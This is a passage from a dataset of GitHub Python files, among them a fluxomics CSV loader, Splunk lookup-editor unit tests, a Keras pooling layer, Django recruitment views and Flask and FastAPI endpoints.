List[FluxMeasurement]:\n    \"\"\"\n    Load flux measurements from a CSV file.\n\n    Parameters\n    ----------\n    file_path : str\n        The path to the CSV file containing flux measurements.\n\n    Returns\n    -------\n    List[FluxMeasurement]\n        A list of FluxMeasurement objects loaded from the file.\n    \"\"\"\n    flux_measurements = []\n    with open(file_path, mode=\"r\", encoding=\"utf-8\") as file:\n        reader = csv.DictReader(file)\n        for row in reader:\n            flux_measurement = FluxMeasurement(\n                experiment_id=row[\"experiment_id\"],\n                reaction_id=row[\"rxn_id\"],\n                replicate=row[\"replicate\"],\n                measured_flux=float(row[\"flux\"]),\n                measurement_error=float(row[\"flux_std_error\"]),\n            )\n            flux_measurements.append(flux_measurement)\n    print(flux_measurements)\n\n    return flux_measurements\n\n\ndef load_mid_measurements(file_path: str) -> List[MIDMeasurement]:\n    \"\"\"\n    Load MID measurements from a CSV file.\n\n    Parameters\n    ----------\n    file_path : str\n        The path to the CSV file containing MID measurements.\n\n    Returns\n    -------\n    List[MIDMeasurement]\n        A list of MIDMeasurement objects loaded from the file.\n    \"\"\"\n    measurements = {}\n    with open(file_path, mode=\"r\", encoding=\"utf-8-sig\") as file:\n        reader = csv.DictReader(file)\n        for row in reader:\n            experiment_id = row[\"experiment_id\"]\n            compound_id = row[\"met_id\"]\n            fragment_id = row[\"ms_id\"]\n\n            # Group components into MIDMeasurements\n            key = (experiment_id, compound_id, fragment_id)\n            if key not in measurements:\n                measurements[key] = MIDMeasurement(\n                    experiment_id=experiment_id,\n                    compound_id=compound_id,\n                    fragment_id=fragment_id,\n                )\n\n            # Create MIDMeasurementComponent\n            component = MIDMeasurementComponent(\n                mass_isotopomer_id=row[\"mass_isotope\"],\n                measured_intensity=float(row[\"intensity\"]),\n                measured_std_dev=float(row[\"intensity_std_error\"]),\n            )\n            measurements[key].measured_components.append(component)\n\n    # Normalize intensities for each MIDMeasurement\n    for mid_measurement in measurements.values():\n        print(mid_measurement)\n        mid_measurement.normalize_components()\n\n    return list(measurements.values())\n\n\ndef parse_reaction_equation(\n    equation: str, compounds_set: Set[Compound]\n) -> Tuple[Dict[str, float], Dict[str, str], ReactionDirection]:\n    \"\"\"\n    Parse a reaction equation into compounds, atom transitions, and direction.\n\n    Parameters\n    ----------\n    equation : str\n        The reaction equation string.\n\n    Returns\n    -------\n    Tuple[Dict[str, float], Dict[str, str], ReactionDirection]\n        A tuple containing:\n        - A dictionary of compounds and their stoichiometric coefficients.\n        - A dictionary of atom transitions for each compound.\n        - The direction of the reaction (ReactionDirection).\n    \"\"\"\n    compounds = {}\n    atom_transitions = {}\n    direction = ReactionDirection.REVERSIBLE\n\n    # Remove spaces and identify the reaction direction\n    equation = equation.replace(\" \", \"\")\n    if \"<->\" in equation:\n        lhs, rhs = equation.split(\"<->\")\n        direction = ReactionDirection.REVERSIBLE\n    elif \"->\" in equation:\n        lhs, rhs = equation.split(\"->\")\n        direction = ReactionDirection.FORWARD\n    else:\n        raise ValueError(\n            \"Invalid reaction equation format, direction is missing\"\n        )\n\n    # Define the regex pattern for parsing\n    pattern = r\"(\\d*)([A-Za-z]+)\\(([^)]+)\\)\"\n\n    # Function to parse each side of the equation\n    def parse_side(side: str, sign: int):\n        for match in re.finditer(pattern, side):\n            coeff_str, compound, atom_transition = match.groups()\n            coeff = float(coeff_str) if coeff_str else 1.0\n            coeff *= sign\n\n            if compound not in compounds:\n                compounds[compound] = 0\n                atom_transitions[compound] = []\n\n            compounds[compound] += coeff\n            atom_transitions[compound].append(atom_transition)\n\n            # Create and add new Compound objects\n            new_compound = Compound(id=compound, carbon_label=atom_transition)\n            compounds_set.add(new_compound)\n\n    # Parse left-hand side and right-hand side\n    parse_side(lhs, -1)  # Negative coefficients for LHS\n    parse_side(rhs, 1)  # Positive coefficients for RHS\n\n    return compounds, atom_transitions, direction\n\n\ndef load_reactions(\n    file_path: str, network_id: str, network_name: Optional[str] = None\n) -> ReactionNetwork:\n    \"\"\"\n    Load the reaction network from a CSV file.\n\n    Parameters\n    ----------\n    file_path : str\n        The path to the CSV file containing the reaction network.\n\n    Returns\n    -------\n    ReactionNetwork\n        A reaction network that consists of reactions and compounds.\n    \"\"\"\n    reactions_set: Set[Reaction] = set()\n    compounds_set: Set[Compound] = set()\n\n    with open(file_path, mode=\"r\", encoding=\"utf-8\") as file:\n        reader = csv.DictReader(file)\n        for row in reader:\n            compounds, atom_transitions, direction = parse_reaction_equation(\n                row[\"rxn_eqn\"], compounds_set\n            )\n            reaction = Reaction(\n                id=row[\"rxn_id\"],\n                name=row.get(\"rxn_name\"),\n                compounds=compounds,\n                direction=direction,\n                atom_transition=atom_transitions,\n            )\n            reactions_set.add(reaction)\n    RN = ReactionNetwork(\n        id=network_id,\n        name=network_name,\n        reactions=reactions_set,\n        compounds=compounds_set,\n    )\n    print(RN)\n    return RN\n\n\ndef prepare_data() -> FluxomicsDataset:\n    \"\"\"\n    Load all existing data in a single model.\n\n    Parameters\n    ----------\n    data_id : str\n        The id for the dataset.\n\n    Returns\n    -------\n    FluxomicsDataset\n        A fluxomics dataset model that consists of fluxes, tracers, mid measurements, and a reaction network.\n\n    \"\"\"\n    print(\"Reading raw data...\")\n\n    print(\"\\n----------\\nloading tracer & experiments\\n----------\\n\")\n    tracers, tracer_experiments = load_tracer_data(f\"{DATA_DIR}/{TRACER_FILE}\")\n    print(\"\\n----------\\nloading flux\\n----------\\n\")\n    flux_measurements = load_flux_measurements(\n        f\"{DATA_DIR}/{FLUX_MEASUREMENTS_FILE}\"\n    )\n    print(\"\\n----------\\nloading mid measurements\\n----------\\n\")\n    mid_measurements = load_mid_measurements(\n        f\"{DATA_DIR}/{MS_MEASUREMENTS_FILE}\"\n    )\n    print(\"\\n----------\\nloading reaction\\n----------\\n\")\n    reaction_network = load_reactions(f\"{DATA_DIR}/{REACTION_FILE}\", \"test\")\n    print(\"\\n----------\\nmaking fluxomics dataset\\n----------\\n\")\n\n    FD = FluxomicsDataset(\n        reaction_network=reaction_network,\n        tracers=tracers,\n        tracer_experiments=tracer_experiments,\n        flux_measurements=flux_measurements,\n        mid_measurements=mid_measurements,\n    )\n    print(repr(FD))\n    return FD\n\n\ndef export_fluxomics_dataset_to_json(dataset: FluxomicsDataset, filename: str):\n    \"\"\"\n    Export a FluxomicsDataset instance to a JSON file.\n\n    Parameters\n    ----------\n    dataset : FluxomicsDataset\n        The FluxomicsDataset instance to be exported.\n    filename : str\n        The path of the file where the JSON data will be saved.\n    \"\"\"\n    with open(filename, \"w\", encoding=\"utf-8\") as file:\n        json_data = dataset.model_dump_json(indent=4)\n        file.write(json_data)\n\n\ndef import_fluxomics_dataset_from_json(filename: str) -> FluxomicsDataset:\n    \"\"\"\n    Import a FluxomicsDataset instance from a JSON file.\n\n    Parameters\n    ----------\n    filename : str\n        The path of the JSON file to be imported.\n\n    Returns\n    -------\n    FluxomicsDataset\n        The imported FluxomicsDataset instance.\n    \"\"\"\n    with open(filename, \"r\", encoding=\"utf-8\") as file:\n        json_data = file.read()\n        dataset = FluxomicsDataset.model_validate_json(json_data)\n        return dataset\n\n\nFD = prepare_data()\n\nexport_fluxomics_dataset_to_json(FD, f\"{DATA_DIR}/{MODEL_FILE}\")\n\nFD2 = import_fluxomics_dataset_from_json(f\"{DATA_DIR}/{MODEL_FILE}\")\n\nprint(FD == FD2)\n","repo_name":"biosustain/cmfa","sub_path":"cmfa/data_preparation.py","file_name":"data_preparation.py","file_ext":"py","file_size_in_byte":11267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"19848319596","text":"class SongData:\n    def __init__(self):\n        self.sid = 0\n        self.sr = 0\n        self.key = \"\"\n        self.samples = []  # The original song info\n        self.samples_30sec = []  # Random 30 second window\n\n        self.qt_spec = []  # Constant Q-transform\n        self.qt_spec_base = []  # Adapted constant Q-transform\n        self.qt_spec_30sec = []  # Constant Q-transform of 30 sec\n        self.qt_spec_resized = []  # Resized to uniform dimensions\n        self.qt_spec_base_resized = []\n        self.segment_specs = []  # Randomly stitched together spectograph segments\n\n\nclass SegmentSpectrumData:\n    def __init__(self, spec, sid):\n        self.spec = spec\n        self.sid = sid\n        self.segment_id = 0","repo_name":"Entenzahn/adl_ws22","sub_path":"util/AudioData.py","file_name":"AudioData.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"73041291359","text":"\"\"\"\nAsk the user for a string and print out whether this string is a palindrome or not. (A palindrome is a string that reads the same forwards and backwards.)\n\nexample: \n    - anna\n    - civic\n    - level\n    - madam\n    - mom\n    - noon\n    - radar\n    - wow\n\n\"\"\"\n\nwhile True:\n    string_input = input(\"input string: \\n\")\n    if string_input == string_input[::-1]:\n        print(f\"Correct answer: {string_input} \\n \\n\")\n    else:\n        print(\"wrong answer. try again\")","repo_name":"Disconnnected/Nestech_python_k20","sub_path":"homework/day 03/ex03.py","file_name":"ex03.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"25373783960","text":"\"\"\"\nThis class tests the lookup editor related classes including:\n\n    lookup_editor.LookupEditor\n    lookup_editor.lookup_backups.LookupBackups\n    lookup_editor.shortcuts\n    lookup_backups_rest_handler.LookupBackupsHandler\n    lookup_backups_rest_handler.LookupEditorHandler\n\nThese tests assume your local instance has a lookup file of test.csv available.\n\"\"\"\n\nimport unittest\nimport sys\nimport os\nimport re\nimport json\nimport hashlib\nimport logging\nimport errno\n\nfrom splunk import AuthenticationFailed, SplunkdConnectionException\nfrom splunk.auth import getSessionKey\nfrom splunk.rest import simpleRequest\n\nsys.path.append( os.path.join(\"..\", \"src\", \"bin\") )\n\nfrom lookup_editor import shortcuts, lookup_backups, LookupEditor\nfrom lookup_backups_rest_handler import LookupBackupsHandler\nfrom lookup_editor_rest_handler import LookupEditorHandler\n\nlogger = logging.getLogger('splunk.appserver.lookup_editor.unit_test')\n\n# This declares which app the lookup_test.csv file is\nTEST_CSV_APP = 'lookup_test'\n\ndef skipIfCantAuthenticate(func):\n    \"\"\"\n    This decorator will cause tests to be skipped if a session key could not be obtained.\n    \"\"\"\n    def _decorator(self, *args, **kwargs):\n\n        try:\n            self.get_session_key()\n        except AuthenticationFailed:\n            self.skipTest(\"Could not authenticate with Splunk\")\n            return\n        except SplunkdConnectionException:\n            self.skipTest(\"Splunkd not accessible\")\n            return\n\n        return func(self, *args, **kwargs)\n\n    return _decorator\n\ndef skipIfLookupTestNotInstalled(func):\n    \"\"\"\n    This decorator will cause tests to be skipped if the host doesn't have the lookup_test app\n    installed.\n    \"\"\"\n    def _decorator(self, *args, **kwargs):\n\n        try:\n            session_key = self.get_session_key()\n\n            response, _ = simpleRequest('/servicesNS/nobody/system/apps/local/lookup_test',\n                                        sessionKey=session_key,\n                                        method='GET')\n\n            if response.status == 404:\n                self.skipTest(\"lookup_test app is not installed\")\n                return\n        except AuthenticationFailed:\n            self.skipTest(\"Could not authenticate with Splunk\")\n            return\n        except SplunkdConnectionException:\n            self.skipTest(\"Splunkd not accessible\")\n            return\n\n        return func(self, *args, **kwargs)\n\n    return _decorator\n\nclass LookupEditorTestCase(unittest.TestCase):\n    \"\"\"\n    This base class offers functionality to help tests cases for the lookup editor.\n    \"\"\"\n\n    session_key = None\n\n    def get_session_key(self):\n        \"\"\"\n        Get a session key to Splunk.\n        \"\"\"\n        if self.session_key is not None:\n            return self.session_key\n        else:\n            self.session_key = getSessionKey(username='admin', password='changeme')\n            return self.session_key\n\n    def strip_splunk_path(self, file_path):\n        \"\"\"\n        Strip out the part of the path that refers to the local Splunk install.\n        \"\"\"\n\n        etc_start = file_path.find(\"/etc/\")\n        return file_path[etc_start:]\n\nclass TestLookupEditRESTHandler(LookupEditorTestCase):\n    \"\"\"\n    This tests the REST handler to ensure that it is functioning.\n    \"\"\"\n\n    @skipIfCantAuthenticate\n    def test_ping_handler(self):\n        \"\"\"\n        Make sure the handler is onlne.\n        \"\"\"\n        response, _ = simpleRequest(\"/services/data/lookup_edit/ping\",\n                                    sessionKey=self.get_session_key())\n        self.assertEqual(response.status, 200)\n\n    def test_function_signature(self):\n        \"\"\"\n        Test the creation of the function signature from the path.\n        \"\"\"\n\n        sig = LookupEditorHandler.get_function_signature(\"get\", \"test_a_function\")\n        self.assertEqual(sig, \"get_test_a_function\")\n\n    def test_function_signature_sub_path(self):\n        \"\"\"\n        Test the creation of the function signature from the path.\n        \"\"\"\n\n        sig = LookupEditorHandler.get_function_signature(\"get\", \"first_part/second_part\")\n        self.assertEqual(sig, \"get_first_part_second_part\")\n\n    @skipIfLookupTestNotInstalled\n    def test_csv_export(self):\n        \"\"\"\n        Test whether the exported CSV file matches.\n        \"\"\"\n\n        url = '/services/data/lookup_edit/lookup_as_file?namespace=lookup_test&owner=nobody&lookup_file=1k_rows.csv&lookup_type=csv'\n        response, content = simpleRequest(url,\n                                          sessionKey=self.get_session_key())\n\n        self.assertEqual(response.status, 200)\n\n        sha224 = hashlib.sha224()\n        sha224.update(content)\n\n        expected_hash = 'c58fb78aa6a8ef9e3a646213d7a12d085a9fe63154a2b8a2423db62f'\n        self.assertEqual(sha224.hexdigest(), expected_hash)\n        self.assertEqual(response.status, 200)\n\n    @skipIfLookupTestNotInstalled\n    def test_kv_export(self):\n        \"\"\"\n        Test whether the exported CSV file matches.\n        \"\"\"\n\n        url = ('/services/data/lookup_edit/lookup_as_file?'\n              'namespace=lookup_test&owner=nobody'\n              '&lookup_file=test_kv_store_hierarchy&lookup_type=kv')\n\n        response, content = simpleRequest(url,\n                                          sessionKey=self.get_session_key())\n\n        self.assertEqual(response.status, 200)\n\n        # first_line = re.split(\"\\n\", content)[0]\n        first_line = content.split(b'\\n')[0]\n\n        self.assertEqual(first_line.count(b\",\"), 7)\n\nclass TestLookupBackupRESTHandler(LookupEditorTestCase):\n    \"\"\"\n    This tests the REST handler to ensure that it is functioning.\n    \"\"\"\n\n    @skipIfCantAuthenticate\n    def test_ping_handler(self):\n        \"\"\"\n        Make sure the handler is onlne.\n        \"\"\"\n        response, _ = simpleRequest(\"/services/data/lookup_backup/ping\",\n                                    sessionKey=self.get_session_key())\n        self.assertEqual(response.status, 200)\n\n    def test_function_signature(self):\n        \"\"\"\n        Test the creation of the function signature from the path.\n        \"\"\"\n\n        sig = LookupBackupsHandler.get_function_signature(\"get\", \"test_a_function\")\n        self.assertEqual(sig, \"get_test_a_function\")\n\nclass TestLookupShortcuts(LookupEditorTestCase):\n    \"\"\"\n    This tests the shortcuts class which contains helper functions for managing lookups.\n    \"\"\"\n\n    def test_make_lookup_filename_valid(self):\n        \"\"\"\n        Test the make_lookup_filename() functions ability to create a lookup file path.\n        \"\"\"\n\n        # Global lookup\n        self.assertEqual(self.strip_splunk_path(shortcuts.make_lookup_filename(\"test.csv\", namespace=\"some_app\")), \"/etc/apps/some_app/lookups/test.csv\")\n        self.assertEqual(self.strip_splunk_path(shortcuts.make_lookup_filename(\"test.csv\")), \"/etc/apps/lookup_editor/lookups/test.csv\")\n\n        # User lookup\n        self.assertEqual(self.strip_splunk_path(shortcuts.make_lookup_filename(\"test.csv\", owner='some_user')), \"/etc/users/some_user/lookup_editor/lookups/test.csv\")\n        self.assertEqual(self.strip_splunk_path(shortcuts.make_lookup_filename(\"test.csv\", namespace=\"some_app\", owner='some_user')), \"/etc/users/some_user/some_app/lookups/test.csv\")\n\n        # A user of nobody\n        self.assertEqual(self.strip_splunk_path(shortcuts.make_lookup_filename(\"test.csv\", owner='nobody')), \"/etc/apps/lookup_editor/lookups/test.csv\")\n\n        # A user of blank\n        self.assertEqual(self.strip_splunk_path(shortcuts.make_lookup_filename(\"test.csv\", owner='')), \"/etc/apps/lookup_editor/lookups/test.csv\")\n        self.assertEqual(self.strip_splunk_path(shortcuts.make_lookup_filename(\"test.csv\", owner=' ')), \"/etc/apps/lookup_editor/lookups/test.csv\")\n\n    def test_make_lookup_filename_invalid(self):\n        \"\"\"\n        Test the creation of a lookup file via make_lookup_filename() when the path includes\n        disallowed characters.\n        \"\"\"\n\n        # Invalid characters\n        self.assertEqual(self.strip_splunk_path(shortcuts.make_lookup_filename(\"../test.csv\")),\n                          \"/etc/apps/lookup_editor/lookups/test.csv\")\n\n        self.assertEqual(self.strip_splunk_path(shortcuts.make_lookup_filename(\"test.csv\", namespace=\"../some_app\")),\n                          \"/etc/apps/some_app/lookups/test.csv\")\n    \n        self.assertEqual(self.strip_splunk_path(shortcuts.make_lookup_filename(\"test.csv\", owner=\"../some_user\")),\n                          \"/etc/users/some_user/lookup_editor/lookups/test.csv\")\n\n    def test_flatten_dict(self):\n        \"\"\"\n        Test the flattening of a dict via flatten_dict().\n        \"\"\"\n\n        d = '{ \"name\" : \"Test\", \"configuration\" : { \"views\" : [ { \"name\" : \"some_view\", \"app\" : \"some_app\" } ], \"delay\" : 300, \"delay_readable\" : \"5m\", \"hide_chrome\" : true, \"invert_colors\" : true }, \"_user\" : \"nobody\", \"_key\" : \"123456789\" }'\n        flattened_d = shortcuts.flatten_dict(json.loads(d))\n        self.assertEqual(flattened_d['configuration.delay'], 300)\n        self.assertEqual(flattened_d['configuration.views'][0]['app'], 'some_app')\n        self.assertEqual(flattened_d['name'], \"Test\")\n\n    def test_flatten_dict_specified_fields(self):\n        \"\"\"\n        Test the flattening of a dict via flatten_dict() but only convert the given fields.\n        \"\"\"\n\n        d = '{ \"name\" : \"Test\", \"configuration\" : { \"views\" : [ { \"name\" : \"some_view\", \"app\" : \"some_app\" } ], \"delay\" : 300, \"delay_readable\" : \"5m\", \"hide_chrome\" : true, \"invert_colors\" : true }, \"_user\" : \"nobody\", \"_key\" : \"123456789\" }'\n        flattened_d = shortcuts.flatten_dict(json.loads(d), fields=['name', 'configuration', '_user', '_key'])\n\n        self.assertEqual(flattened_d['name'], 'Test')\n\n        # Now parse the text within the configuration element and make sure it is the expected JSON\n        c = json.loads(flattened_d['configuration'])\n\n        self.assertEqual(c['views'][0][\"name\"], 'some_view')\n\nclass TestLookupEditor(LookupEditorTestCase):\n    \"\"\"\n    This tests the class which manages lookup backups.\n    \"\"\"\n\n    def setUp(self):\n        self.lookup_editor = LookupEditor(logger=logger)\n\n    @skipIfCantAuthenticate\n    def test_resolve_lookup_filename(self):\n        \"\"\"\n        Test resolve_lookup_filename() to resolve a lookup file name.\n        \"\"\"\n\n        file_path = self.lookup_editor.resolve_lookup_filename('test.csv', 'search', 'nobody',\n                                                               False, None,\n                                                               session_key=self.get_session_key())\n\n        self.assertEqual(self.strip_splunk_path(file_path),\n                          '/etc/apps/' + TEST_CSV_APP + '/lookups/test.csv')\n\n    @skipIfCantAuthenticate\n    def test_resolve_lookup_filename_version(self):\n        \"\"\"\n        Test resolve_lookup_filename() to resolve a lookup file name to the backed up version.\n        \"\"\"\n\n        file_path = self.lookup_editor.resolve_lookup_filename('test.csv', 'search', 'nobody',\n                                                               False, '1234',\n                                                               session_key=self.get_session_key())\n\n        self.assertEqual(self.strip_splunk_path(file_path),\n                          '/etc/apps/' + TEST_CSV_APP + '/lookups/lookup_file_backups/search/nobody/test.csv/1234')\n        \n    @skipIfCantAuthenticate\n    def test_resolve_lookup_filename_version_no_user(self):\n        \"\"\"\n        Test resolve_lookup_filename() to resolve a lookup file name to the backed up version\n        without providing a user.\n        \"\"\"\n\n        file_path = self.lookup_editor.resolve_lookup_filename('test.csv', 'search', None, False,\n                                                 '1234', session_key=self.get_session_key())\n\n        self.assertEqual(self.strip_splunk_path(file_path),\n                          '/etc/apps/' + TEST_CSV_APP + '/lookups/lookup_file_backups/search/nobody/test.csv/1234')\n\n    @skipIfLookupTestNotInstalled\n    def test_get_kv_fields_from_transform(self):\n        \"\"\"\n        Test getting the fields of a lookup from a transform.\n        \"\"\"\n\n        fields = self.lookup_editor.get_kv_fields_from_transform(self.get_session_key(), 'test_kv_store_transform_fields', 'lookup_test', None)\n\n        self.assertEqual(len(fields), 4)\n\nclass TestLookupBackups(LookupEditorTestCase):\n    \"\"\"\n    This tests the class which manages lookup backups.\n    \"\"\"\n\n    def setUp(self):\n        self.lookup_backups = lookup_backups.LookupBackups(logger=logger)\n\n    @skipIfCantAuthenticate\n    def test_get_backup_directory(self):\n        \"\"\"\n        Ensure that get_backup_directory() returns the correct directory.\n        \"\"\"\n\n        dir = self.lookup_backups.get_backup_directory(self.get_session_key(),\n                                                       \"test.csv\", namespace=\"search\",\n                                                       owner=\"nobody\")\n\n        self.assertEqual(self.strip_splunk_path(dir),\n                          '/etc/apps/' + TEST_CSV_APP + '/lookups/lookup_file_backups/search/nobody/test.csv')\n\n    @skipIfCantAuthenticate\n    def test_get_backup_directory_with_resolved(self):\n        \"\"\"\n        Ensure that get_backup_directory() returns the correct directory when given a value for resolved_lookup_path.\n        \"\"\"\n        self.lookup_editor = LookupEditor(logger=logger)\n        resolved_lookup_path = self.lookup_editor.resolve_lookup_filename('test.csv',\n                                                                          'search',\n                                                                          'nobody',\n                                                                          False,\n                                                                          None,\n                                                                          session_key=self.get_session_key())\n\n        dir = self.lookup_backups.get_backup_directory(self.get_session_key(), \"test.csv\",\n                                                       namespace=\"search\", owner=\"nobody\",\n                                                       resolved_lookup_path=resolved_lookup_path)\n\n        self.assertEqual(self.strip_splunk_path(dir),\n                          '/etc/apps/' + TEST_CSV_APP + '/lookups/lookup_file_backups/search/nobody/test.csv')\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"cdahal100/lookup-editor","sub_path":"tests/unit.py","file_name":"unit.py","file_ext":"py","file_size_in_byte":14442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"51"}
+{"seq_id":"28178655105","text":"from keras import backend as K\nfrom keras.layers import *\nfrom keras.utils import conv_utils\nfrom keras import initializers, activations, regularizers\nfrom keras.models import Model\nimport numpy as np\n\n\nclass myPooling(Layer):\n    \"\"\"Abstract class for different pooling 2D layers.\n    \"\"\"\n\n    # \"max\" for max, \"avg\" for average\n    def __init__(\n        self, pool_size=(2, 2), strides=None, padding=\"valid\", pool_mode=\"max\", **kwargs\n    ):\n        super(myPooling, self).__init__(**kwargs)\n        self.pool_mode = pool_mode\n        self.pool_size = conv_utils.normalize_tuple(pool_size, 2, \"pool_size\")\n        if strides is None:\n            self.strides = self.pool_size\n        else:\n            self.strides = conv_utils.normalize_tuple(strides, 2, \"strides\")\n        self.padding = conv_utils.normalize_padding(padding)\n\n    def call(self, inputs):\n        output = K.pool2d(\n            inputs,\n            self.pool_size,\n            self.strides,\n            self.padding,\n            \"channels_last\",\n            pool_mode=self.pool_mode,\n        )\n        return output\n\n    def compute_output_shape(self, input_shape):\n        rows = input_shape[1]\n        cols = input_shape[2]\n        rows = conv_utils.conv_output_length(\n            rows, self.pool_size[0], self.padding, self.strides[0]\n        )\n        cols = conv_utils.conv_output_length(\n            cols, self.pool_size[1], self.padding, self.strides[1]\n        )\n        return (input_shape[0], rows, cols, input_shape[3])\n\n    def get_config(self):\n        config = super(myPooling, self).get_config()\n        config.update(\n            {\n                \"pool_size\": self.pool_size,\n                \"padding\": self.padding,\n                \"strides\": self.strides,\n                \"pool_mode\": self.pool_mode,\n            }\n        )\n        return config\n","repo_name":"Omar-Amin/deep-learning-project","sub_path":"myPooling.py","file_name":"myPooling.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"42150568953","text":"n = int(input(\"Введите количество наблюдаемых дней: \"))\nmax = 0\ncount = 0\nfor i in range(1, n+1):\n    m1 = int(input(f\"Введите температуру в {i} день: \"))\n    if m1 > 0:\n        count +=1\n    else:\n        if count > max:\n            max = count\n        count = 0\nif count > max:\n    max = count\nprint(f\"Максимальное количество дней с плюсовой температурой = {max}\")","repo_name":"Mikhail-Osokin/Python","sub_path":".Seminar2/Seminar2_4.py","file_name":"Seminar2_4.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"11845292450","text":"from django.conf import settings\nfrom django.core.mail import send_mail\nfrom django.shortcuts import render, HttpResponseRedirect, HttpResponse\nfrom main.forms import RecruitForm, SelectSith\nfrom main.models import Planet, Questions, Recruit, Replys, Sith\n\n\ndef main(request):\n    return render(request, 'main.html')\n\n\ndef set_recruit(request):\n    if request.method == 'GET':\n        form = RecruitForm()\n        form.fields['planet'].queryset=Planet.objects.all()\n        return render(request, 'set_recruit.html', {'form':form})\n    elif request.method == 'POST':\n        form = RecruitForm(request.POST)\n        if form.is_valid():\n            a = form.save()\n            return HttpResponseRedirect('/questions/{id}'.format(id=a.id))\n\ndef questions(request, id):\n    recruit = Recruit.objects.get(id=id)\n    allquestions = Questions.objects.all()\n    if request.method=='GET':\n        return render(request, 'replys.html', {'recruit':recruit, 'allquestions':allquestions})\n    elif request.method=='POST':\n        print(request.POST)\n        for i in allquestions:\n            try:\n                print(request.POST.keys())\n                if str(i.id) in request.POST.keys():\n                    newreplay = Replys(recruit=recruit, question=i, answer=1)\n                    newreplay.save()\n                else:\n                    newreplay = Replys(recruit=recruit, question=i, answer=0)\n                    newreplay.save()\n            except Exception:\n                continue\n        return HttpResponseRedirect('/')\n\n\ndef get_sith(request):\n    if request.method == 'GET':\n        siths = Sith.objects.all()\n        values = {}\n        for i in siths:\n            values[i.name]=Recruit.objects.filter(master=i).count()\n        # sqlite не поддерживает distinct, поэтому так:\n        siths_with_recruits = Recruit.objects.filter(master__isnull=False)\n        siths_distinct = set()\n        for i in siths_with_recruits:\n            siths_distinct.add(i.master)\n        return render(request, 'get_sith.html', {'siths':siths, 'siths_distinct':siths_distinct, 'values':values})\n    elif request.method == 'POST':\n        error = ''\n        try:\n            sith = Sith.objects.get(name=request.POST['siths'])\n        except Exception:\n            error = 'Вы не выбрали Ситха!'\n            return render(request, 'errors.html', {'error':error})\n        return HttpResponseRedirect('/get_recruits/{id}'.format(id=sith.id))\n\ndef get_recruits(request, id, recid=False):\n    if request.method == 'GET':\n        recruits_all = Recruit.objects.filter(master__isnull=True)\n        my_recruits = Recruit.objects.filter(master=Sith.objects.get(id=id))\n        return render(request, 'get_recruit.html', {'recruits':recruits_all, 'my_recruits':my_recruits, 'sith':id})\n    elif request.method == 'POST':\n        try:\n            # конечно тут лучше сделать отправку через Celery, но это будет в будущем по средствам интергалактичекской связи\n            send_message(recid)\n        except Exception:\n            HttpResponse('Этот рекрут дефективный')\n        sith = Sith.objects.get(id=id)\n        recrut = Recruit.objects.get(id=recid)\n        len_recruts = Recruit.objects.filter(master=sith).count()\n        if len_recruts<=3:\n            recrut.master = sith\n            recrut.save()\n            return HttpResponseRedirect('/')\n        else:\n            return HttpResponse('У вас уже есть 3 ученика в руке тени!')\n\n\ndef view_recrut_details(request, id):\n    recrut = Recruit.objects.get(id=id)\n    replys = Replys.objects.filter(recruit=recrut)\n    return render(request, 'recrut_details.html', {'recrut':recrut, 'replys':replys})\n\n\ndef send_message(id):\n    recruit = Recruit.objects.get(id=id)\n    subject = 'Рука тени'\n    message = '{name}, Вы зачислены в Руку тени'.format(name=recruit.name)\n    send_mail(subject, message, settings.EMAIL_HOST_USER, [recruit.email])\n    return\n\n\n","repo_name":"DaharGon/ShadowHand","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"25175224378","text":"from flask import Flask, jsonify, request\nfrom data_processing import DataProcessing\n\napp = Flask(__name__)\n\n\n@app.route('/api/info', methods=['GET'])\ndef get_filters_info():\n    dp = DataProcessing()\n    filters = dp.filter_info()\n    return jsonify(filters)\n\n\n@app.route('/api/timeline', methods=['GET'])\ndef get_timeline_data():\n    parameters = {key: value for key, value in request.args.items()}\n    dp = DataProcessing()\n    data = dp.timeline_data(parameters)\n    response = {\"timeline\": data}\n    return jsonify(response)\n\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"AndrewVazinsky/visualization-api","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"41588267370","text":"import re\nfrom typing import List\nfrom fastapi import APIRouter,Depends,status,HTTPException,Request,BackgroundTasks,File,UploadFile\nfrom fastapi.openapi.models import Reference\nfrom models import recordModel,patientModel,doctorModel,surgery,presModel\nfrom schemas import recordSchema, userSchema, patientSchema,presSchema\nimport database, oauth2\nfrom sqlalchemy.orm import Session, joinedload\nfrom datatables import DataTable\nfrom sqlalchemy import or_\nfrom fastapi.staticfiles import StaticFiles\nfrom fastapi.templating import Jinja2Templates\nimport secrets\nfrom PIL import Image\ntemplates = Jinja2Templates(directory=\"templates\")\nrouter = APIRouter(\n    prefix=\"/record\",\n    tags=['Medical Records']\n)\n\nget_db = database.get_db\n\n\n# <!-- \n# | =================================================================================\n# |                               ADD MEDICINE (POPULATE MEDICINE LIST)\n# | =================================================================================\n# -->\n@router.post('/AddMedicine', status_code=status.HTTP_201_CREATED)\ndef add_med(request: presSchema.AddMedicine,db: Session = Depends(get_db)):\n    new_med = presModel.Medicine(med_product_name      = request.med_product_name)\n    db.add(new_med)\n    db.commit()\n    db.refresh(new_med)\n    return new_med\n\n# <!-- \n# | =================================================================================\n# |                               ADD SUPPLY (POPULATE SUPPLY LIST)\n# | =================================================================================\n# -->\n@router.post('/AddSupply', status_code=status.HTTP_201_CREATED)\ndef add_supply(request: presSchema.AddSupply,db: Session = Depends(get_db)):\n    new_supply = presModel.MedicalSupplies(ms_product_name      = 